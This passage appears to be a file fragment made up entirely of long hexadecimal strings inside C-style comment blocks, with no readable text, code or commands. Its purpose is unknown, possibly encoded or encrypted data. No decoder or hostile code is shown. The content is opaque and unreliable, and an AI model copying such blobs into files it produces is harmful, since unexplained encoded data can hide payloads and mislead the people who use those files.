2bb02c7ace6d5c739b3a4df5a2ce28a4444408665990b4fe8f9de04ed31b3b71ed53c0d3275d19decedb41133add9343ba8dca1b70dc8b1decd5deeb7ea192e9cf8a3e64c15567e319211efa3fa66151c66db405061c7e1f046aee6a2af0f447855b43c5045130afb0febd245c3459005ec7bee507d0764d4a2d8a5cf0b59a2e67d67f88b9f2583c175eeb00e8031d87a287937a5bcc1a4906368869d659bc6b531be92b04e43888ee8a777ba6d470e8195e8da80452288686b76bd61938dba54f578cc131d2556818d2784b7893ecfa1374dc851a0a7321d1982469daaa90af19dcdea7b10333f09dfb648dd0667335cabb2ba398e2b65320e49c6e4ec1069acd9fb1d12b821e14b9fd5a221376a7b8286caadc7f29b1dc91ce9b319448fafdeac14788379a4d163f5135d9feb152971d4a3b77a819ba68b7f2ef24ce9beb8d485e3d79dc3c28c58e5fb8bf68f40c3dacd63ac6820d9a7681b1c82334cf4b22bb96419db97d01f6088da294fa3687cab862fd8a5e7c95d2a382fec7526fca4811f3f1666a627ede61c4b3089ec0232dc15a29bd8b1039a3ca297db3d2c485df84bfe563edbe2f6698ad5e4d022c032df1cd6ac5f89deea533fd2411edd84ba22af38347f93773f30152f5faec50ed651d42c3987c3856da78349697a8c9183b76e9e1f7a52242197d951c082b321cadfca7648096c7a93821b8fa813b4266f97236565108b1cb2a56fdd850f69ed860ed192742c6f4937b1fd1e2965e18eb8a77691cb6ce22f552abe165f5a3a064ee5405e56e5e7c70f8897cc01698a7be2410e154cfdd8bf15806ee7f1c6961d8999b0aeef25db0970026685508e9a3610cc8cb6b12b640896*/
/*6b58222551a6cb1b4c568be0223d38e13ffcd48c8ad1fdb19e25640e08f591b31f85f8c7133686d4ec7785631515eb71f227a1384ebc8c2675e307c47375ebe18c9618011bdfc41c0224837b5ea049c56197a010b1824dea15b04f5cca24b866ecc0ec9855b617e4a7d62cf9f5061d552b1b7baefc040dbc44ff0ce62d1084d765f435f1ddf202c6ebc9462046fe5a97344f586b13154fbd6e0d705a4561db14f0a09e6de34e2baf3218404b95d6058efffbf04af8fce5616f57ce673444eeaccc3ff78bc85c99e10451e9ddb929aa9c7089e17c12bb5cf1c56ed80f82e5ebc49c15fc973a1b1087fcbd66b5f4ceff12b1201f403897332f47c94a6c76c6c2aa8aadaac21aa07dc13bbb61ff3caf58218ba0dc10cc7ef4c61c014b9542d947ab57587f0e656ac3bfc73b45224cb80349218358d265883639f2da530d00a5a5bafe9131c207088769b1824423c57c86670a1aadb3deedd5251cd9544b1cdbcc51104718e49c8ddddbd6ffdb1901bb6d53cac1f099a0da913397e6b6a9b767b733a30b90c5caf1d27d4e65dc4745139ecf80e4cd436c2f5bc8a28305d3a2722a7725a4617e1ee3349979a667c369b3de8c56bf05ee29f319a960f06751f173aa786fa83e6dbeeead5f1fcd1055b924c3cb55b152845496278631c0722066d178fdef4ead0272506a9485718ecf2ea937ef558e4b24d83892428119ef17ce1a0d2927f3082e2f21dc240afbc1b3bf5bfcf7fa9ff072d52fbea10eb416e75c698a2eb29c35a1991313fc6bcc339728fb35369204029286e1e98db9c1d4b095181b8be33c6aa7c8f707351e3684912c4b9448553b62b8fe38b6edc715a89a1e665c9d0a0a6e853abb492454585ed6b429fc62e991c20875a96306f6eb785b2daf1fa68ef89814448a31eb9c6c001aecf8b4ea6ecea2d8346cb4b862c2e3edb5349c77ec2acebde87a7273ba5b2d4217e451551849198b046458106cf9dd44f05d46f866c64007b85f40b58ce8354f7cabc24f065214e78412b8faefc72d9537a7d2783fc89dd06bb8ddfbd28e3d813fb98f10be2928856421b01d7cfee69cef8f904cb9f90212af59391b199bdb452c44f7cd32e44cdce55cdb3102597e2423750483f27879dbb36be9d4a15f6b66c35ad9b3380e4066ef083de4501c01f7534d864e0df9ce782aa59d0a6b5d86cd56cf0de6229e56cc93db317b461d6943ba0e886e3ee91045ce7624a9279fa93eb7c119e7080514a20d5cd673df152b0abb88e92eb61d2bcb9d2bf4927432ad6568385aea962e3151b873f34e73deb71ca29280346bd53f0dfba8a288a2ac59d2b3d4b3cc5b3cfaf88dc4e01d4274e63c7b56563551e1c3f2cb3469c3ca11bbc89e46328d2c4613e7b5827b5570451c24c2ff74f490fbc588b96de6e9f12a0f10dcc007e76c9f6c4839ac665dcef741f45734738bd675d572661821e3a7c2facb9f7038d13d615ae05e62d7004d86e5b8bce2eed5e9749e5290f6080a5331fccee29010c9be97ad459bcd44c4cb9ea420dcd2d8285ccfd0ba0577c919ff0bb273c742428753ba14daa8f79ada4987a32d7fa81302c36d8ea4e074e071ec7778c54ce53ef17bc7d44e4bc9537c650448cc8aeafd544cb2ab4fd1f130b34246dd92fcdc1cca383efffa24bf571d478bf0f058d0e8e3cce72cd6db83eda8978d9ddb6f764289d0082edf684df68ee9f02933c1a45f0ccc4491016d870c86655090b3c57a861c0111f2e25ec2896da2db502a0337574011d9665f1f1c52f2d28c79a98cf9532aa2eab8d58f546662c4c455a2f8006fe8a3bc3af28d5d4dc8e0ca812d00e9e4ec1b7992922aa9f9dc83d219f82c42e1500414bc55b656ccf78a352dade98d43c9e4087590be6cf05e6bf09b75dc0ac05882b664b977edc30b6f5d58af7facb40941545c9ef629032e11a95d4918ff1dc13c163f5d4f0cba07512a7780b728b832cd7a062ffa31acb15a6694a7ec15ac2ca231091b2123e9a3a40225cfc8de13aa60eead6d13b3c4b6d158ff47318228124a1e33498f2fdd20bf2cd4630c3585753bfd58dfe1c1e6bf4f5666e531fbd11df1eef4d3c531f64e72366fe723722b41f77a464699fe2d162800a252d79395f7a05b7091608b02d1fb392bb922d0d793f6dc4ddfef047a362e707290dd21545dbff6a59d64989964425d0238b8da87ffdcf7354263e058b8486a7aa518795987f4bf0d7b99b0f7b76d16161bcd6372d35355f3d9b3218cb7de3ddafe6d26bf36ed8840cf69a72ab1f30c632fa6a7455b5e927012e684f25992491f7b09d482a7be3cf21edf129a3b919e9f2eaa0b6bd87b880e58f225b1c7221974eb84ad58575d528fb38b1176e91be2a07117772ce409842cd31a1918398b6fc5e41ac852726f529d2e85dba00a979fd323ea98ca98f3d5afab6466182d912eceb39af8970784d5ff75271aecf108cc6cef63dc608ef7b655eda495ad561f6000d9a36e6feb72dbd024569711cafb8631f82f40c4434bcb2bd720d362a4f760d5470c43f3dcb0634d5e595fb4b1c1db1c569963b97cb015f02f1ad462e867f186275d3edb6a302c6e97be7f5cd98b27cdd262668186db693ce128487238ffd3b23a716f6d4fb1a4776fd0972863dfa2e1686cc8d5f8c825cb1a3c31e5e0522b4fb3b6106c6a5c95410a14b821a3c3abd1d3d66df8e058b41c1de875feb642f601774e9df6aca412c50c5ca05991c0ad5e9441a04021958f344026a143ef16003e3202c376073b4938a3eeb02353ab57a2361271d315a8b537d217fa929e64993c8ec48d91b0c29250a1f20d6a2a11db161aa0cef059*/
/*dcec076cec1924b7c25a2b5c2f10054ed623164669700ce0da3f732500ed994b445b87b80de0b189234bf4b9e78a520155c1cd1967d0ae0dcd9ef1d4ac4df70b99eac821353fd11c27756c41d32dc580ea9e9bb27812baed4db887da1b5035146e3fc32e605efba235ab913376e9bd89ace7ce79e34640c3b8a008f0f7861cb264916ac35701dbea90e3078a7b8b5ba4aeec51cc7177de0e4c5d90ddc741f1a86551fe931c9cf466a0eff1dd85d13d836c6766e5a7276cdd3652a48217270f1c94c2eccb3aab3371a5b44c0f1396372251fa4022112fbe99938fdda3aedcfb25022e789f2031d2d5ce2cc3fc2b241c640b8754962c8de7ff712ae8b954287328d9b53f959fe9c64204e66dbd46d12a57fc92f4fdf66791d6e1ef9d1b8ae841c81cd5cc3c67c55c8a2c27ee147745c3918066bfa6931dc9c9d4f3aa22043163c16522c72292f4fca641ba27b2bcc3c7d100e054682829d24256d6ab66a78f08ff15399c206ad448f1ecb5c4a11ee0a63ad1fcd6eaaee7225b3289e7cde8bbaf89b63afc5d14e9cf95667d2b9f0ef12499a42bcc82b0dfe6acfa69bab1fed900ee23c8b5a6a9ad2035e238eb07c2ba9916bb066e2ec539c6735e518f8269641368dda8db918d402874f81efa694aa906b8e98a6ea7b31a485d6cacd5bf50e4809759e15d7b8d3a2c76626cf90d07907a32d5ceaf037a9979e7d8c552b37812e5e484fbac0b6118d0ab33f32fc699a13547cfcec0e77f6db7bd6453447c90b1421ba5da8a94b53e8eba7d0f2b815002c28eb87b70d5f5f826a85a0205de9da164400768df191fd696fdcc35e28fa9fce3a851522ee10aa0141bd6f030f414beb3afe588982fd8e3494f4638bfe20b517ab639ed1e4c687dd4b9036a83a224d7d418bc159ff10e06f1f228acb4fb89bd324b306e38b629924d4f831bde487216a311947d83870c15e3ca82e8051610c2e8fba4eae6e0593ee2c9f675ed5f10e008b3c4c47bb71db0f54f2022d1cb85ec66237022c06c6f517a0a789aee53c182d06a8f9766e9ef3fc903980922a9e9b407751d3c8ea188c9af4db8bddb6507d37fda2c4b678c295c9b55e12b96e01130d8eeae945914b580561324ae9d6c05e06e749c3e5b2d3f692db80d8228353bd48d10cb566e501338399ba852d68e1095da9c94309d5fc9d6725f964e9f0c24b415cca91c23c462f8ee0023db982d832e279a9724846a980fdeb072af1757622e176272e0b37c12178caf2079c1821aaac08010f4da2853c10f2dba3b5717e02762577585871c31b0a0c8a69a0b44332a578feff5ad0c246873c1a545b63c94c3922688c06d811fbbd5c83ffed0b32fdf016568a10af8d4094a0869017de3554ae1ad99425912aba7d7b9b064bc2fe3488ee4bfde8300ff70a1befaac386250b6e6e26747162a79b7afb33b7ceaf5f4dca24ccddbcd0135d43b0bc8014cd9372c5228ce18bd07ebb2231f210e4a5bd78444e3eb6589047c60c25d9ec03131dec4048ff51a29ec4ad8920a5a021b893f9839cb460d7431bb89d75dec313cb84f124852265e1ad3025a63617d303b40387f6e6930abc948bf9fc330a8823a93119fcf7dc7bca92fc64ec627851eedb5a3e712d936bdc3132ddef0613f15b6d68449cc9fa999f7baa1f1ab10e9c0299fa3309bcdecd48c6ba051fdcceb397bc7bac35aacbb37e2f413ae10170d1e8b2d104c1637a3aa1dd8fad746dfaca268ed9c1598320eb1a51db2fe57c1433171c346399cf79251aa2698851949b315757dc6f56c0cbdcba6fb433237666fc586952b52bbf7b8c836dfd4c9cc0858f156c7b0d52eb9e6a746b964ebf426b30f36670466747f57d14706de7504341b0566cede55638222ae5ea56c83d1642510c82d1903b3ee4e6d799691e9369e992dca749e71801362f9f63bb429f4c65dcf71082665046ce926db80cf9c5df893ceb292ce2dbe949c2a0c7e663df7f04dd023557caa7b843aa87bbe73f86f66df6579daaf19867b7fcbfa8b492e1c5475bf5c88ac7d1ea259b90065ec58d18ca3db72b6b04fb8162d8254d1e87a3ae55e8c2f2ed13b72b72506d4c23d773c9310f4d4477766e318fde4a6e92378a66668ef3aebcb93d18b93d2e99240b9ca6026a594967523d9279d57ccadaef909005b7f86badf63d774fb9ddf917138ce34208263f8ad1bf435952aafdc9a58448bb7fc890dcfb54ac50993a5515fa13013f9c23698c3f85b86a0b8f7620c6c6e354fbefd89284a3cbae2df3cca1a63196020dd0170661270e1a845cf50a54a12005fffdbef83faf6ba4cde210a21b602881f9aa3e3d662d7411683856c25e845864c1fe578355572904ebfed746c04155c517e05e23726ef0a0d2dece1797dc329cfa7908aed490d1ca25d3fcebe4c70bf5defb085b7d7d3217fd7f7952419dc0ac6a50e25725922e91126a59cd98b1cbf47995909a92f9e01e43f31cd68727f8bcdf0f62d6bd3112ba63091f0b281dcd2391868078f98494bb100b613e9ac24dfdcccdff412eea4dcd7b514407cbfc5aaf04696ebbaf3fad9d4d3a5c956c2e160fd03b9df5466baccd6bd0650726795663d9a1fa9b2e0a85820c95fcf726d56c4899a2ba1e7d104f4437693f6095c4fa8931452724b4d83fcc9c9f6452d95f893d3f2875f83f0f830810000eb4d72a39ad8630c70c2e01ab457b3d677e20aaac29f60e28d6725ece851dfc98875510778488ae76b346e4a0545622a9a29d5c90f777ae2d92b08ae432ce21331ae910721213f540eea2af14b86609e659b9af01f122cdd8f01ac06004c4fe31ab4962bd48fe6883bf96fe174*/
/*7fc069bfe70002137adc68f3737cf75788ba7de19e3cceacaa6996389279e8d2ba7ca06e1848870203f2a3bcab360a7873774b06b868f3c1838b14edd96faf74bc12c75690d5c396de1780360091c2753a2793e82fd0d727ad3931f65160b71aedb767f8974d6eb38603583449f7236d6f63496891e7dd8192f63350ef97ccb8ae39f6204a30227ed823201d84d9d6c02e50d8c56f04368307ad2096c3bd2837710b531fb2e33745d3f27750291d338eaac6d8287ffadab4b9aeb373d16c700009a6cbbf270211dc26190165f064ca6b4b77a946593b1af5737198e4f6f43c06657b893cea0d9795bc91d94ee7cf2fbb9a80f4b6a3c69a46931c6b70c0385373888b9479529eb832813557f2f9050ed946622e7a2732ad03f4750fc5a2227ecf036f35b65bc3f3a8e3ed797036a1040cf716f157d71cc42d9ff1a7305b738095c21f5490a54a0c27507c70312ff17275730430ae97d93c6770fa8460057affeb1797f3f3dbb06ea7a704b6c3c131e5ee7772d05592bd508d5d22324d78f2eb657d4a1e85dcea91c04c188d18c4f71c68b280beed65d659ad81dc1a10fd2891e2fea061cdc6b65ad75d95fe8f7117f2275b8c6c50c5f052978f3cf307503c5109ed3583f53968c631a598e9ed3e749b2d53fb7bc2e35b04bd3b66ca5956d3809817bf44e8a5af946872e3a2140b4a78fbc2def21be1d9201e08f0a7d41a09a83467b4a5092dd572fb91ffc824915401e167d6e5f9d29d5075d38b0737e7800219a1eb6702c38d28841eb8570f103208f5ccaf778aef9ca7e15f7e2a8e53f4d3db071f9174ad1c35372f464c89df8c43e6e548c6afa066890df13879d83e261f4260f8ac4f70ada21823725828d7d25c65788d82356c39fe8a4403395195dae74c5a86e3c0a3af64e2f7168b66f6788ece299576c90912f2c1123d89f96d4221a29003c294f54c863dbda3395dc5fd658cd25327ea8a1f6616b781005ff42c5dec8df49eb2c07317f1afdd55ea716379d8622d31e46d28aa38ae02c5a097c1d41c5acd7723de82655a3b2cc67bd0fed3bdf560cf6806969ac3c393af9c7bb7ee7f42cfa0c094f68c086eb2d677f27968a5b0b94a0250b20204ffcc883cadeebe961844721166e2fb0e5c9ff88053164ac968afc86e2a31c86ed84362505626b0d228d62ff1acacc70c41fbfc7cc10f434622d4947b3991f69393342ece211fbaf8f5b2674441e18e88ce5cefbc9c4486d68f849aaebbee19b313aac2e376fd1f4a5923570fcd87af592e1a2b56c0f2ce22e23d0fba90bdec78e635d8a9a65f11378d323904d7185fe6da6e3cec2db46e039c393b7c0a6c0bf439755f80321449b0f9253fcdc6afa7771bda79706c0cccdcd364823418e06cfa1d08cf4227dc8ef10205879a2c3f35e3a60a0eeb274e4832c594a176b477b1c7e0cc0ac801c3837d98ee3adfa4e5369c8c2c8a0e07313a7e082fc9cb1de8850de360f373d45296d63f630cb993bec77dd0b9ce831288e690202d39b2d5576efad57fd2be506f3f2c1f16428d18533e7543f518c108633d15b8664d97cc46ee86c9f391d9ba36c3fa39594f920784c9943ac4f9149efc4d6898c278110d73529a0dd5e32f8b9f8404c3bfe6dbb31996a04d7a89fdd18dbe0123cad64dc6fdcd45dacb5f535a65e6cb3e8b811f4af4093da6be88c24cb0b6f5927b6b9da36f3fa7c8baed4fad693e51420b8b0b451b486eed1da0a0b9446d7503fb08c837b76e4a025e7ecf5a5d006de440fd48edecb803b558c5a4fee1c7fdb1f3fffc0614a2d7fa453135de77a109961789c7f3f0a60f131d6c225d21613d5b86114eea702b074f3d59feabf975b2b4273ef01dbb66fbe5acca5f6733af199fc503d6efe00ac2dd8a714a4b59baeefd038ef0e05200af551639998ecf00e4c0e63b84114f8dd032a4bb565b44f169d21f24821148ab983906c8c56d0def41be21038e02e9926097da01af4fb297a9225fd944b2dcecc8725709c40c490c768ad4413f148d9286ed223e53112a411bed39089427a30be08ae44f8aff5ae76cf8f6cda18f14439b22b92eaafd5b57bdab34faeae1fed36c19795beb09a9cd5898f118caaf91d85be72535c2e6f90c0f9ffdf8b4f037f73a5001f75739e7da2c75319778fb64038f809d775a8753c6bd8804b6c42e6bc0b1c6df0e87fdd7d8ca1f1dd776fe535e53a44a9ccdc80d0c2424cb7a6cc569057f7e121488b8ff924727fbafa0077ec5a4657a6d6c5bf5d1b90942e837dc2df09d64e539ff4ace14e48670a6b95ff21d7c8b9d3e87570f987c656bb32d2cc853aac76240e9df54594a3ee15cd857111314a4d677976c75f0053c74f48fb0924420565bec1a4f511dcaad5d9264b685ec118d281a6f0d1a009cca5419095442e2bad3021431fa07addf7e3425686f70c98c3710397f75de4d4f8f19ed1e8bd702ef94280d7126655143c43486b053ca7f2075b4f7632505539186d648be8dda2adbb601190e2f3aedda7910f72454f5856f941c2547e93b2990a31ffa43e3aad0b322fa2ccbec89b420dee70c80137a7101338b0adbe3dc39338fb859d62ede1b974e51b58223ffe384f6da14bf350b042e04c8fb8a53c3104dda61af78e8e1edbaa4de5d2255315a1091a468462207758e8468137ba4a007ccdc4bf9d21a0bbd70335a89020ca1e77e8dec7f3be7340253807d63ad865422c73a21f1d7fd86687e37a78fd83e63d2f6cad5390f370a4ae2f5def76722bbdaad931c976ab650ff49f8655b974ff150b02e730eb6d26f8ac20314c2d1ccf8e3850b19f06abb240f12cb8d3ce79b9eef8f*/
/*a88986d654ecbd87978d1166345afae2eaf86a5f3ddf7fe8520af3ee7b4fda34f403d1641d8934d4dcf72d9a7e7ed054250373cba71e66f986489de0a62f3873fc562c7aeac1030983c96e69de9d73745e0f8df24eda305c59ffd0f88970aa5eb3117d350628362b35e4b6617c3b782450c31bb9682c03828b153e944f7557e2ac962f903b14bde1af8cc5c645c12734b9d5a4740315ca61726738cdda0d39d2cf19d1557661e47d23d0ac6e949c1a89dea54132d6d4b5814a9197a785c607ae210fb10e7e9b2c91ffe82d865c92d17399589cf9937a3d7144311bfe7e14b6bdfeebfb068501a2a111879b946c5a850dba8f159abbf54f03654bae9159b399c6023fa730ac48aa418dac15c45d47bf9737be6c858ddfee03e761848e243cd680e7dbb1283b810754d7edad81c773727b4a0358c52baea89d0b439d2c2599f5191740bf30dc1343202b564ab9924b2600e573031265ad10333538f4a845e451105174a19abca5c0e93b9452370a92503f280995db8d874d8145b79aeb1438ff25b3c2090529f57a8601d2c6cfd45b45e2f65353e50b4a8754dd2c251bdb01e556f9e3ad9e83571c1439a381d52c714731b795d38ca6a11d814e23f3649ca65eee7c24207564ee60cfd05274ced797235fd74ee67e906374252f157a5771aa2fcb49c4dc7408cbd97e6702fab8ca345738064527fc47717b76c8fe3f9060f8075905662c4f028ec7546c2e654f4041d545aaa5b73c7c00c59fd8c6e91d065dc819a6c64467d4d6fa938f7de32eeb656dff349afe00fd0fd8ea5a4bbf3b68d00f6facb8666c43794682dc91fb62149128eac2c92995f7715dedf833fac5bf32b205f48e90b7f0737d377d1a50c833aa0ba23137c137e47b3f37be883f4dc4328e519d89237b2382965288353a0009734b2dab1d012909fc28a78ee1072f551d8a720c6fb9dce938add16fcc2ae9d361b37fb76feeb3a24431da1792593b9cd7655bf7fd0c0f0f788c59077ac290670c503af3b5484ada70615376772e96bae6d222504199f70256a4fc03b2aee0ee18204f546a94b2b5237ccad9d5ef1c5bf09fe44f6efbce608ed91e8058956ec1444524e994e4d148a0c8a01f6e18981e0b10839c51c76c7c2eb5006aca1777bd1116608878e19158e955275b69ed076ab00e784e965dd9d697f09e79aa05544e7273bf0499adc4af78d7507e2d36960873150d30dd4984e5787f9df4a1dc72b843c58927bf9145d6322a498be237f6906e76ae00ddd14ff837d97bd81c02957aff24eba94658b705614fe98b295979b8fa42f4f8eac7880a7c49f1d8df18bcb92da040735f941652fd7a97d5912deb624a3027b7ac9262a564b6190c02ce10ef9e31bf164b230353f3ee2a5737fa510d44ede0beb5f769a180766124772d6ab6a737e33eb0d5cb3c4c23140ed0eade9af8f16645871c3204433b688e8611e34d59b59d1e52752607758dd799b0fccd975b423463217cdcf0ce7dea9231d357e2b35bbe0560ffa0478a8bae3eee3cd295600061a327be4ff2666c09d0a6f6cf85a9e41ce52ddc124d8611748b3772598e3db63724266f550ded47cbc0214177868d9ff653d3626c1ee65970386aa260ebdb0aa69fa711b8796aed2f9854b01a39bfc541cea3a2c20c6baac923389de0f783df8622f1b5d37183e41bbd12c9b15fa7d24a2d193aa5675e755a763bd1f16c1432d234fa54155d251aec0a98686d11e2b201ba163c333eed51aaea17e6ce13f4762a89576dcded89eaab3f2ad55c13d127cafe7501e5aa9fcbfa03fad4fc5ac08e1692b14f2de440150e5180a3bc525d94fa705dd5fa2cf52ee00217efeaaad7113ec6fb27f42d6ef05a086556a06b7ad2c6398d1e7495a225b94b07952651a98a9f69ea97bd77e35d357b799a96923a67fbd4669f297168ad10ffc931defd30913c0e98aa8e548d8ef8b70c69d70a5c7941886b4b495a554810a3d92b1a799cf2b44db82b0238d13646e602a3ae243d61e768cb42a1d7fb33da30c8bd1f4d007e03e78c9b9510b9ed87fe4c34bf816757767fadc2fdbeaed83bd65a710b351e89c0c72063838a10ecce052c04934f3086ad32d31d2c09ea4a511de5435d039276cf930e0500ccf83f90d35d338469e6cfae73aa41a1722a89a55fc4499aea1c24b90c99436161b5b3b1cfb97a86f38301db790b380829c8a243724fe678ebacbc4e7d3ee8a4319d566bf33b4649376c74c2f5a247dc1ce8164893febe25e5ea3d5f0450c69e6c7453f5878852cb3badd2cdf59c3f4249b067a0b391d1922ba8ab0dc5343ecd220e8b85c34f83580e4601a40bdd1d11535184ab6a6141cc129836de0693d656549d45fd03ef8a5b3da1a9a1f7e92d1522c15a53a0ebaee586b4e17f5412cf387bbbd47b8e517f83276c8a595f3a9ada73c49e9e986cd91f86ceb50682246416aff02a93aee4bde644961008b2340dfca59e3a015de43ca796c694d8b9247c4785cd5336df46ee8acaa708ca64a620ac301754747760c91d9b10e68135b64691a00dbd22ed464c380d92990cfdbd852d78bba59e01b5f4fd110fe0becb7419bb0b2b51a862602e66e4f8a15874ec467588d56c5cc2a579f5de2d9455a6b6f3c6e425f50b159a7ad7bb25ced2a3deb1604cbcf282e6c77e57b0f49648dac892be25c1c04898a5671ae55eceb0a301f0bdc8a19ff6d28a14d2a260aecf7fa22c13106416b0261b57e9b97fbff626a2eb93f5ea58014042df1bcaf562d83a811835dc8f517cf0c9adc3df52bcfc7a54e162bd2154258836bab842ca804560671908370f84214d95136688c0bab5*/
/*54d8fb2ce0c79f4d952d0c1deb63b331f1298ed38506f10be1f52c846d35c4ed49787e23ad60c4924bcf14463dfb23a435922a41460208d23900536891fcee36d7288906175701e68a35b9c3d3d62d899f6c06b3061a16bcde74fc4754c9e72cc080949a1d302f9b826a36114a3460405d069cd78b6aa10936bd25631ab75dfe5f7e3770ea74e032632f62545a84b9a00b7a020d1a00de23f4e81c64d6cf88a4d84aef25ffe6fd5a8db9ba0d4233f52bc16c17c9d3e016fa4949ddb59bc4d7a40660054f794d658074f397fb5598942b9459aca30f3596fc4b8921b2a963c4d4ae5a26dc6bc5814db27eb85cdd0cca7dcd378f6a7ecc2d30e4aecbba8f34262d465d40be4d530d37faa4aa8ba7b3e777d65ec3c875b1139219bff6e3bb23264f2dc3f960b46651df7bc6da3a5f02fe788e54b02e58d733d984e739210d0eaab36967cf40e2932738d43aaa8cb979191829b0ad0753b14c656ad4019e9b01a3e9c4cbfb9b4be6405c07620b3525eb28174d3da8635a759ee1ef89b998b14cf55d900350f0518d0bac8c0178e7d5dcd6ab1cb071f25d259752d21be7928357b5f725958ffbe03c7dc5f18b2215d0c1126312948881e6af9aee1cb8e7ccada7af9a11c037c1a902297ae63add50f7919d9bef29f942d6f2c93bfb1e4c2b035c7825e5031da372880bbfa084ca1500d8524f9db61a33543c5346facabac5b3347b16adc24404fd7c4af57cb28a91363f703601e12d62601b58ff9fee5981d4e163f38c2e74e1e781eba81304fbd0ec5a251ede9afb6dfebdafce4d5accb0b111c22ea7b2aa3cd6f6758ab1d105341072c28bb006f762a146638242d8571ecb673882dc6cef030ee1474e5eb89f184fd58077aa942931b4dc932d819b65ef51e3892a3d49f19b8b40c37ff3b41d0fe7afeb0c9a6fb1aa3cdbd3011f2ecb75f045331c178ef8325e5521fc4dcb8b60b2a73c88f5e11a295868147c8ad4fabcf4b062ccb668fcaed320bc6df65017b7600355c336f47cc4a65b0610f3560a0f189089e425cd3fed7ed6f6e0985f3f0ab24fbe22656a459d9af8e9ba68b24561f46e99d16093b43b11fdfb885acd58b8b5c357b913ceccb12f03319800b9551f9603d775378e8d9162aa359e2384048bdc187256e6bf1f4ff41d19686ed005c796b91ca90a86b53b3149e89489fb93b0dcc0c639fe6b9ab9b705a78af1d0a5cb0c2030fc80ac550ae2cfbacceedef9579fb3fcf3506114ee0de41efc79af57a7b87f7b1caabe32042856e9c5dbafcad227f4a7e57bee54c663686b2fedd9228689f88514469b676ea867e0c8a093fe261ec60cf13557a61eccee2fd00e40260e401c8bc9284673a82f8a5db2c6c2ac86b66abc6cfbd98dbf8a5398920390cc71d5e941b34b1c8795d0ddcccba2c7e42e16b8c145271583f159f93e7bbe03de02c05fab6423ba144fe69ff093a9194d9ab9b2dc60b90ea521c3f661b0e4bbf63e71f6a9cc9a8adc2f32132fcf6efe7db214563c4761743576afe1c912bad45136895a854da4c16715220772283e13f6ac4a6e79d8116b06e61325ad6887d4c8daa7e6671cc3504b5ca327553ebb26a334303857c4691784de37bd0ea4a89d746d646e662d3a1cb65143438c186bda2909140ef2a049789c6e8595d6c4929f5f5909c4cf293dac1ac413b81db515cd4d7b9181d3402c98295bfc5ea9807d3f4ee12e6901e811e833240529ad39c4c97d84d35952095d2c123bd80be41ad8ab007832b05d940b65c6d9793adeda46bd43ef0b43bd2cd0466623af12380f3696d944fbd604a552fd43975091bff684749bebc3702ec4b02e83b620d438ee84f15a0f4f636caf7b5fc39f0eff8de63856c8e8a121aba98153ae4ba2fc3fb345bebbe443bb3c8fe7ee51dabcb5ce6491687f646962b94284d54558307b4c8e0a6291592336cbba81dd52ce42f7025565501dcee4d2b51510059939bcc07ccc5bc07cdb88c3189f496949d8b5dcad1f38d2088794ea96eef4f990e60b532e3107b5f4750bfc5117b7d11ca1bdcfc65ce9a8bf64ce979c0609db7f5cb61cc15950cb27f1475cc15754a5d4b9eb0618f2a23f3ecf60ac18da049282dbc411308eb45abd4d2128c4a943f583444a29390445973a89cf5f0c3c32b66515a9759ed524737dacea126541ac88be9a12cf22c917f395c69c03388993f1ec9a0d1e29e0e68dd6a388750e2e31d7bc23de78424ca4efae706db5a3bc5910ec5b35444171507d81f74d1cae251930348b938d078e4785ad4ccc7dff15ebb05b17acaceab65fe973456f6b72764a14461c559bf8999bec19eed9e05d9fcff3bcb2825a14a4b3ff41cfc2ad5540dfb736a8ce6e09979707279aa35e29d71bc4bd488cc0e177f7dc1afeabcf2941445608a364fdda9cb1b64e890f92bbecec735a5338741b36d8129ad475a41f71305918f34d54f1848bee1c2f27e2c38b275fa4d256772837ab39e5843257213ec22afcfb77a03d39352eb27c9b5ca2d4b26bc4b3918b1f165b00169ac6cc871b077d9bd57f8b73e78004dc9d0915c886b344a42975247a9534f0d566a2c1c1420b2d53d9ea375a58a5f0a559d8d217bfb3ec0cac730474b99a5849acfeb3ce9c37888d2387e4d19b31521f1beff9b6631d264eb8e97d8b673b70c64c099f64bde6b8b3ad4870fb5a3426a50a761c78a739d6e412c5f050511f03ab9743d5c1ddaccd2b157fbae65365149da3c3f91d3d342aed4fadafe4bf9a4dbeb3897722257ecc11f4c7e772e8ce9af87511845932df740dfbfe0b6c61957c260ccdb68f93e3436fd0747c981eed6bec698117f760*/
/*93b79b47d3aaaf2fb5c14beaf5a7fc68a6b299f30a99b3968af1bb6f75ff1cc5f6d6d0fe5edc0ff326212a87d3cdec2e3e2eb706266fa8e4c45b5b344b9524fd2338bee5cf2103dda00fbe9f34d24a9b163d842d52b370e25c237a9b685cc85bf9ed8e7cb2ba13aa0f59699b88f6e07cfba6815e0d295b3a9e695c06b874b4ed8d7e50a173f9e079b8ea40ef50644cf7a49454d8d384623d48f909dfe480bca191068629a89ba5a7a1c8207e9c0d752e56b7a3d35fa2e1c7725a9eaecf9c2901560c7d55083c5cd438f4b409e4ef9f72e664883e7b9f22130d1ef835eaa643897b1ea1ec793ca252d86b930f436b4f1b752ddad08b65a828d636ee7d46718d5648755e371e90b84e140c4322d39e521d713ee35ca8eaf3fd7db855934d4e9922d0c026a77601eb60a7f946bb8a333b03531dc6fcfea5bc5924c6ef6dae92cde4821aedd403609732768bee0b9c749cceef956d1ff36c001d06c46d6a5513ff63a5f980ee4e9ce456b77f25ac51f70a84ae89a14860657cf834f1b0e5431db63505ab7ed32b55de16e40d94c0c3a6bda03c7633b62a0f945cc616ec1f4fb7ba1410d692ae492e7d74da60f211e2f116ddd59e513d84881ee877ff974d488a08e587f791eea5191690012da7d0e4457fb67c61c029c264b5c29398a9cbafafffb75b043f90f47ed52351de882567e3af3bd0be9178bec1fe38bc12b16002d3f2f6ae77087b05c204e60dc81975cc27c3d78e085f12ea15f624f994770e651b9128b1e81e1c3caf2925fcd65a6db84bc0e4b65c7800c923c22ff8bc8cd162fc9786c0120903a733906bee94099e1fce7afee1438e77e81a84d6e0908a9f7af36b77a3e4c3cd78097d2426c050f51679b58e5c0376c0b351205c2512ca3c11e063c5277a7d85f0d181d10968b680167ba96bb0d344a20435e78ade8425a5bc27fc9a5278f5f75957cb4476db2ebb39155f1318a630f06def51a80bd8c8b321beaf1bed5fb7b1edaabefb8caf1abe20174fc5c365f2c12f3a30592a595a9154ca26a0decc864afb4613cc3aab604abd023977035b9cf83435ca037bbdd2d0484bc33d1985bddc53d364da14731a5689404de091a87761b1333c41829fdb9c9b6499eecfaa8d242672061be19d3a12d032f9f1bef5df00c9599d951416dcab0b33d26371297457c717a899f6ac33060cc874c50ff872a960a8d811f932f0713216602366288c2b75001ecf6c30f81073027f7e193dc7f